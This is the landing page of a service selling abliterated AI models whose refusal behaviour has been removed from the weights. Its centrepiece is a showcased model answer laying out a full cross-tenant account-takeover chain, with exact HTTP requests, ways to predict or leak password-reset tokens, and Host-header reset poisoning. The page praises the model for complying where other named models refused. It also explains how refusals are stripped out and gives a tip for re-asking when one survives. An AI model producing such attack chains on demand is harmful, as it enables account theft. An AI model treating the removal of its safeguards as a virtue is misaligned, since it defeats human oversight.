Skip to content
New

DeepSeek V4.1 Flash free for 7 days: 10M tokens a day after any top-up. Until Nov 30.

How it works

Ask whatany other AI refuses.

Uncensored and cybersecurity models for pentest, red team and bug bounty. In the chat, the terminal or your own code.

SpecterhighCVE

Is CVE-2021-44228 exploited in the wild? What should we check first on our own Java services?

NotHoly

Thought for 8s

Tools2

  • cve_lookupCVE-2021-44228
  • advisory_lookupMaven/org.apache.logging.log4j:log4j-core

Is CVE-2021-44228 (Log4Shell) exploited in the wild?

Yes, very much so — this is about as confirmed as wild exploitation gets:

  • CISA KEV: Listed since 2021-12-10, with remediation due by 2021-12-24, and it is flagged as known to be used in ransomware campaigns 2.
  • EPSS: 0.99999 (top percentile) — essentially the maximum predicted exploitation probability 3.
  • CVSS: 10.0 CRITICAL, CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H — network-exploitable, no privileges or user interaction, full compromise 1.
Research chat. Files are never executed. CVE and web answers come with their sources.

Launch promotionUntil Nov 30, 2026

Free DeepSeek V4.1 Flash for 7 days

10M tokens a day at no charge for 7 days after any top-up. Usage above the daily limit is billed at the list price.

NotHoly Wisp Flash

A reasoning model at a low price per token.

What you pay per 1M tokens

Input$0.20
$0
Output$0.80
$0

$0 for the first 10M tokens of each day while your free days run. Up to 2M of them can be output.

10M
tokens free every day
7
free days from the top-up
Any amount
of top-up qualifies

Top-ups count untilNov 30, 2026

When the free days end, a new top-up starts another 7 days. A top-up made while they run doesn't add days.

The red-team request.They refuse. NotHoly does it.

On November 6, 2026 we sent the same account-takeover request, scoped to our own staging, to GPT-6, Claude Opus 5.5, Gemini and Specter. All three hosted models refused. Specter ran it.
Compare with
Compare with
NotHoly Specter25.2 sAnswered

operator@range:~$ Red team on our own acme-staging.test. We already have an IDOR on /api/export. I want the full chain to account takeover of another tenant: how to chain the IDOR with the password-reset flow, the exact requests to send, and how to prove access to the victim account. Be specific.

Chain: IDOR → Tenant Account Takeover (ATO)

Assuming the classic pattern: the /api/export IDOR leaks data with tenant/user identifiers, and the reset flow validates email but binds the reset token to the requester's session rather than the target account. Verify each assumption against your app — I'll flag where to confirm.

Step 1 — Exploit the IDOR to harvest victim identity

Enumerate the export endpoint cross-tenant. The goal is a victim's email, user ID, and tenant ID.

GET /api/export?export_id=1042 HTTP/1.1
Host: acme-staging.test
Authorization: Bearer <attacker-token>
Accept: application/json

Vary export_id (or whatever the object selector is — check whether it's a sequential ID, UUID, or tenant-scoped). Watch for two distinct failure modes:

  • Tenant-scoped but not user-scoped: you can only reach victims within your tenant. If the reset flow is also tenant-scoped, your chain stays inside one tenant — still a valid ATO demo, but scope the report accordingly.
  • Fully unscoped: any export_id works cross-tenant.

Confirm by diffing response tenant_id / user_id fields against your own session's JWT claims.

If the export body doesn't contain the victim's email, look for it in metadata: owner, created_by, account_email, or pull it via a second IDOR on a user/profile endpoint (/api/users/<id>).

Step 2 — Trigger password reset for the victim

Most apps don't authenticate this endpoint:

POST /api/auth/reset-password HTTP/1.1
Host: acme-staging.test
Content-Type: application/json

{"email": "[email protected]"}

Critical check — the response. Capture the full response body and headers:

{"message": "reset email sent", "token": "a1b2c3...", "expires_in": 900}

Many staging builds leak the token here (debug mode, verbose errors), which collapses the chain to two requests. If the token isn't in the response, you need Step 3.

Also test response/time-based user enumeration: compare response timing and body for [email protected] vs. [email protected].

Step 3 — Obtain or predict the reset token

In order of preference:

  1. Token in reset email is predictable: capture your own reset token (use [email protected], then attacker+2@... for several resets). Look for sequential values, short tokens, timestamp-embedded tokens, or unsalted hashes of user_id + date. If tokens are like md5(user_id) or <timestamp>-<counter>, predict the victim's.
  2. Token leakage via adjacent IDOR: many apps expose "recent activity" or notification endpoints with the same broken authz:
   GET /api/users/<victim_user_id>/notifications
   GET /api/users/<victim_user_id>/activity

Reset emails often get logged as in-app notifications containing the raw link (/reset-password?token=...).

  1. Token not bound to the requester: some implementations bind the token to the session that initiated the reset rather than the target account. Test this on yourself first: request a reset, then complete it from a different browser/incognito session. If it works, the token is global and you're done — use the victim's token directly.
  2. Host-header injection (if 1–3 fail): poison the reset email's link:
   POST /api/auth/reset-password HTTP/1.1
   Host: attacker-controlled.acme-staging.test
   Content-Type: application/json

   {"email": "[email protected]"}

Only viable if you control a DNS name or the app trusts arbitrary Host headers — in staging, often true.

Step 4 — Complete the reset

POST /api/auth/reset-password/confirm HTTP/1.1
Host: acme-staging.test
Content-Type: application/json

{"token": "<victim-token>", "password": "R3dT34mP@ss!"}

Watch the response: some apps return the new session token directly ({"access_token": "..."}), which is your proof-of-access artifact. Others require a fresh login:

POST /api/auth/login HTTP/1.1
Host: acme-staging.test
Content-Type: application/json

{"email": "[email protected]", "password": "R3dT34mP@ss!"}

Step 5 — Prove cross-tenant access

The evidence needs to show (a) you authenticated as the victim and (b) you can read their tenant's data. Three artifacts:

  1. Decode the session JWT post-login — show tenant_id/org_id differs from yours while the token came from your attack machine:
   eyJ... -> {"sub": "usr_8842", "tenant_id": "tenant-b", "email": "[email protected]", "exp": ...}
  1. Read victim-only data through a benign, read-only endpoint (avoid writes — this is their staging with real-ish data):
   GET /api/export?export_id=1042 HTTP/1.1
   Authorization: Bearer <victim-token>

Same object you IDOR'd in Step 1, now accessed as the victim — that closes the loop: the IDOR found it, the ATO legitimately owns it.

  1. Timestamped evidence bundle: raw request/response pairs (Burp export or mitmproxy flows), the JWT decoded with iat/exp, and a screenshot of the victim's dashboard/profile page. If your client wants video, the whole chain runs in ~60 seconds.

Impact framing for the report

  • Cross-tenant data access on a multi-tenant SaaS = full isolation failure, not just an account compromise.
  • Note persistence/stealth: resetting a password may notify the victim (check if the app emails "your password was changed") — mention detection

Each model got the request once. The answers appear as they came back, and the times are only for this run.

Chat, terminal or your own client.

One balance and the same models in the browser, the terminal, the editor and any client that speaks OpenAI or Anthropic.

notholy.com/chat

Drop in a PDF, an APK or a minified bundle. Files are never executed, and every CVE or web answer carries its source.

  • PDF, DOCX, ZIP, ELF, APK, PCAP
  • NVD · CISA KEV · FIRST EPSS
  • Ephemeral chat
See the chat
The NotHoly research chat on a phone, answering a question about CVE-2021-44228 with its sources.

Claude Code, Codex and OpenCode have connectors tested against our gateway. Other clients that speak the OpenAI or Anthropic API work by changing the base URL. See the integrations

What we changed. What we didn't.

Abliteration edits one thing in the base model's weights. Everything else stays as it was, mistakes included.
abliteration.diff−1+14 lines unchanged

--- base model (open weights)

+++ NotHoly model

Removed: refusal direction in the weights

Added: answers the request as written

what the base model knows, nothing new

its mistakes: check the output

your prompt, with nothing added to it

your authorization, your contract, our terms

# Source: Arditi et al., Refusal in Language Models Is Mediated by a Single Direction, 2024.

  • It answers instead of refusing.

    Abliteration finds the direction in the weights that triggers refusals and removes it. Nothing is added to your prompt, so there is no jailbreak to break.

  • It knows what the base model knows.

    No new knowledge and no benchmark of ours. It can still be wrong, so check its work against the evidence.

  • It refuses less, and sometimes still refuses.

    Some refusals survive abliteration. When one shows up, make the scope explicit and ask again.

  • Authorization stays with you.

    It will discuss the dangerous case. Whether you may test a system is up to your contract, your program's rules and our terms.

Where your data goes.

What each part of NotHoly keeps, and for how long.
Our servers never touch your targets.

On our servers

  • Public pages are read through an egress that blocks SSRF: http and https on ports 80 and 443 only, private and metadata addresses refused, no cookies sent.
  • Files you upload are never executed. Analysis is built for a disposable sandbox with no network, and that runner is not switched on in production yet.
  • No scans, no exploitation and no active traffic toward third-party systems.
Your requests

On your machine

  • The CLI runs commands in your own terminal. In the default mode it asks before it edits a file or runs a command.
  • Sessions stay in ~/.notholy/sessions with 600 permissions.
  • Your key is kept in the system keychain (Keychain on macOS, libsecret on Linux, Credential Manager on Windows) or, if none is available, in ~/.notholy/credentials with 600 permissions.
From your machine: commands you run, or approve in the CLI.

The systems you test

From our servers: never.

Kept for

  • API prompts and answersNot kept

    Not written to disk, database or logs. They exist in memory while the request runs. With an Idempotency-Key, a non-streaming response stays in memory for 24 hours.

  • Web search15 min cache

    The cache holds a query for 15 minutes. In the chat, the query also stays unencrypted as a tool step label, with no automatic deletion. It goes to a search provider without your account details, and you can turn search off per conversation.

  • Ephemeral chat1 hour

    No conversation or messages are saved, and encrypted run events go after an hour. A run record, tool step labels, usage metadata and any uploaded file remain.

  • Service metrics30 days

    Counters and timings by route and status, with no content.

  • Database backupsUp to 12 months

    Encrypted daily, weekly and monthly copies, stored off site.

  • Chat conversationsUntil you delete

    Encrypted with a key per conversation. The auto-delete setting is not applied yet.

  • Usage metadataNo fixed end

    Tokens, cost, timing, model and status per request, with no content. No automatic deletion yet.

  • Chat filesUntil removed

    Encrypted. A 30-day expiry is recorded, but automatic deletion is not active yet.

  • Files sent to /v1/filesUntil removed

    Encrypted. A one-hour expiry is recorded, but automatic deletion is not active yet.

Application logs · Rotated by size. Request bodies never go to logs, traces or error reports. Container logs are overwritten as they fill.

Deleted account · Partly removed. Sign-in data and memberships are removed. In organizations you alone own, conversations, projects and keys are deleted. Billing, usage and audit records stay.

Common questions

Something missing? Write to [email protected].

What is NotHoly?

NotHoly is a provider of abliterated AI models for authorized offensive security: pentest, bug bounty, red team, reverse engineering and code review. You use the models in a research chat, in the CLI, in VS Code or through an API compatible with OpenAI and Anthropic, and you pay per token.

What is the difference between uncensored AI and an abliterated model?

Uncensored is the general word for a model that does not refuse. Abliterated is one specific way to get there: the refusal direction is removed from an open-weight model, with no jailbreak prompt and no retraining. A jailbreak tricks the model through the prompt and tends to stop working after the next update; abliteration changes the weights once.

Will a model still refuse anything?

Sometimes. Abliteration reduces refusals but does not remove every one, and the models can still be wrong. Our terms still apply: authorized work only.

What kind of work is it for?

Security-focused code review, CVE triage, bug bounty reports, recon methodology, static analysis of binaries and APKs, detection rules and red team planning for an authorized lab. The model explains and writes. Anything active runs on your machine, with your approval.

Which model should I start with?

Start with the chat default: it is the cheapest and handles everyday triage and review. The models page says which one fits long multi-step work or a coding agent, with the price next to each.

How much does it cost?

You buy prepaid credits in USD from $10, and each request is charged per token at the published rate of the model you used. One credit is one dollar, credits do not expire and there is no subscription. The same balance covers chat and API.

Do you store my prompts?

Not on the API: prompts and answers exist only in memory while the request runs, and we keep usage metadata such as tokens, cost, timing and status. In the chat, conversations are saved encrypted until you delete them, unless you use an ephemeral chat. Chat files stay encrypted until they are removed; automatic deletion is not active yet.

Does it work with Claude Code, Codex and OpenCode?

Yes. notholy run claude, notholy run codex and notholy run opencode start each tool on NotHoly models for that process only, and notholy connect writes the configuration with a backup you can undo. Other clients that speak the OpenAI or Anthropic API work by changing the base URL.

Is the API compatible with OpenAI and Anthropic?

Yes. It serves /v1/chat/completions and /v1/responses in the OpenAI format and /v1/messages in the Anthropic format, with streaming and tool calls. With the OpenAI SDK, use https://api.notholy.com/v1. With the Anthropic SDK, use https://api.notholy.com.

Where does CVE data come from?

From NVD, CISA KEV and FIRST EPSS, mirrored locally, and from OSV for packages. Each number shows its source and the date it was retrieved.

Which files can the chat read?

Documents such as PDF and DOCX, source code and minified JavaScript, archives, ELF, PE and Mach-O binaries, APKs, PCAP captures, logs and more, up to 200 MB per file. Files are never executed. Analysis is built for a disposable sandbox with no network, and that runner is not switched on in production yet.

Can a company use one account for the whole team?

Yes. An organization has one balance for every person and key, with roles, workspaces with monthly and daily caps, per-key budgets, IP allowlists, an exportable audit log and invoices with your company details.

Can I use NotHoly against any target?

No. It is for authorized work only: your own systems, a client's signed scope or a bug bounty program's rules. The acceptable use policy forbids attacking third parties, data theft, fraud, real phishing and malware for unauthorized deployment, and a violation suspends the account. Our servers never scan or send traffic to targets.

Does NotHoly train its own models?

No. NotHoly serves abliterated versions of open-weight models under its own names and shows the base model on each model page.

Ask anything your scope allows.

Create an account, add credits from $10 and ask the first question in the chat or the terminal.

  1. 1/3

    Create the account

    Individual or company. You can switch to a company later without losing balance or keys.

    IndividualCompany
  2. 2/3

    Add credits

    By card, from $10. Pay per token, no subscription.

    $10.00minimum deposit
  3. 3/3

    Ask

    In the chat, or install the CLI and run notholy login in your terminal.

    $ notholy login